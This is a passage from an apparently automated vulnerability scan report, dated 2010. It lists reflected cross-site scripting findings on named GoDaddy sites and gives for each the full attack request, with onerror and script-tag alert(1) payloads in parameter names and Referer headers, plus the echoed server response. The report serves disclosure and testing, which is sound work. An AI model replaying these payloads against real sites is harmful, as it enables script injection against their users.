Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /gdshop/email.asp?7d3df"onerror%3d"alert(1)"9525c6cd90d=1 HTTP/1.1 Host: www.godaddy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Sun, 14 Nov 2010 23:50:19 GMT Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=5m2zzn55zxop1snh3zfrxnnu; path=/; HttpOnly Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Mon, 14-Nov-2011 23:50:18 GMT; path=/ Set-Cookie: adc1=US; domain=godaddy.com; path=/ Set-Cookie: currencypopin1=cdisplaypopin=false; domain=godaddy.com; expires=Mon, 14-Nov-2011 23:50:18 GMT; path=/ Set-Cookie: flag1=cflag=us; domain=godaddy.com; expires=Mon, 14-Nov-2011 23:50:18 GMT; path=/ Set-Cookie: traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/email/email-hosting.aspx&server=CORPWEB185&status=200 OK&querystring=7d3df%22onerror%3d%22alert(1)%229525c6cd90d=1&shopper=&privatelabelid=1&isc=&clientip=174.122.23.218&referringpath=&referringdomain=; domain=godaddy.com; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 162260
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.14. https://www.godaddy.com/gdshop/hosting/hosting_build_website.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://www.godaddy.com
Path:
/gdshop/hosting/hosting_build_website.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 25f27"onerror%3d"alert(1)"81e14d9081f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 25f27"onerror="alert(1)"81e14d9081f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /gdshop/hosting/hosting_build_website.asp?25f27"onerror%3d"alert(1)"81e14d9081f=1 HTTP/1.1 Host: www.godaddy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Sun, 14 Nov 2010 23:34:49 GMT Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=ogtbab554roamt45wfztyo45; path=/; HttpOnly Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Mon, 14-Nov-2011 23:34:49 GMT; path=/ Set-Cookie: adc1=US; domain=godaddy.com; path=/ Set-Cookie: currencypopin1=cdisplaypopin=false; domain=godaddy.com; expires=Mon, 14-Nov-2011 23:34:49 GMT; path=/ Set-Cookie: flag1=cflag=us; domain=godaddy.com; expires=Mon, 14-Nov-2011 23:34:49 GMT; path=/ Set-Cookie: traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/hosting/website-builder.aspx&server=CORPWEB185&status=200 OK&querystring=25f27%22onerror%3d%22alert(1)%2281e14d9081f=1&shopper=&privatelabelid=1&isc=&clientip=174.122.23.218&referringpath=&referringdomain=; domain=godaddy.com; path=/ Set-Cookie: BlueLithium=hjxbrjqdmdkbbjsgefmhwenenebejjlg; domain=godaddy.com; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 225951
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.15. https://www.godaddy.com/gdshop/ssl/ssl.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://www.godaddy.com
Path:
/gdshop/ssl/ssl.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 84276"onerror%3d"alert(1)"31ec267e898 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 84276"onerror="alert(1)"31ec267e898 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /gdshop/ssl/ssl.asp?84276"onerror%3d"alert(1)"31ec267e898=1 HTTP/1.1 Host: www.godaddy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Sun, 14 Nov 2010 23:41:38 GMT Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=ynqgouenysfozx45awt02hqx; path=/; HttpOnly Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Mon, 14-Nov-2011 23:41:38 GMT; path=/ Set-Cookie: adc1=US; domain=godaddy.com; path=/ Set-Cookie: currencypopin1=cdisplaypopin=false; domain=godaddy.com; expires=Mon, 14-Nov-2011 23:41:38 GMT; path=/ Set-Cookie: flag1=cflag=us; domain=godaddy.com; expires=Mon, 14-Nov-2011 23:41:38 GMT; path=/ Set-Cookie: traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/ssl/ssl-certificates.aspx&server=CORPWEB185&status=200 OK&querystring=84276%22onerror%3d%22alert(1)%2231ec267e898=1&shopper=&privatelabelid=1&isc=&clientip=174.122.23.218&referringpath=&referringdomain=; domain=godaddy.com; path=/ Set-Cookie: GoogleADServicesgooglessl=fcsjqakgtjpiaitjaiyjxijgiileaiqd; domain=godaddy.com; expires=Sat, 14-Nov-2020 23:41:38 GMT; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 159453
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the Referer HTTP header is copied into an HTML comment. The payload ce6d2--><script>alert(1)</script>3d207f3b4af was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET / HTTP/1.1 Host: auctions.godaddy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=ce6d2--><script>alert(1)</script>3d207f3b4af
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 14 Nov 2010 23:12:37 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=pqs1un552xpzc455nlgueir0; path=/; HttpOnly Set-Cookie: traffic=cookies=1&referrer=http://www.google.com/search?hl=en&q=ce6d2--><script>alert(1)</script>3d207f3b4af&sitename=auctions.godaddy.com&page=/trpHome.aspx&server=DNAWEB03&status=200 OK&querystring=&shopper=&privatelabelid=1&isc=&clientip=174.122.23.218&referringpath=; domain=godaddy.com; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 210398
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a73bf"><script>alert(1)</script>211ed40a6e1 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET / HTTP/1.1 Host: www.radiogodaddy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=a73bf"><script>alert(1)</script>211ed40a6e1
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Mon, 15 Nov 2010 00:30:33 GMT Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND" X-Powered-By: ASP.NET Content-Length: 73243 Content-Type: text/html Expires: Mon, 08 Nov 2010 01:50:33 GMT Set-Cookie: currency1=potableSourceStr=USD; expires=Mon, 14-Nov-2011 07:00:00 GMT; domain=.radiogodaddy.com; path=/ Set-Cookie: adc1=US; expires=Sun, 21-Nov-2010 07:00:00 GMT; domain=.radiogodaddy.com; path=/ Set-Cookie: serverVersion=A; domain=.radiogodaddy.com; path=/ Set-Cookie: domainYardVal=%2D1; domain=.radiogodaddy.com; path=/ Set-Cookie: ASPSESSIONIDACQDQCBA=EPLLNOCALPGJDPOEDAEIAJCI; path=/ Cache-control: no-cache
<script language="javascript"> var imagesURL = "https://imagesak.securepaynet.net/"; var secPrefix = "http"; </script> <script language="javascript"> function openDemoVideo(mediaID, ...[SNIP]... <img src="http://img.godaddy.com/image.aspx?sitename=www.radiogodaddy.com&server=CORPWEB169&page=/gdshop/live/default.asp&referrer=http://www.google.com/search?hl=en&q=a73bf"><script>alert(1)</script>211ed40a6e1&shopper=&privatelabelid=1&isc=&clientip=174.122.23.218&status=200 OK&referringpath=&client_path=&querystring=show%3D267" border="0" width="0" height="0"> ...[SNIP]...
Report generated by Hoyt LLC Research
at Sun Nov 14 22:49:06 CST 2010.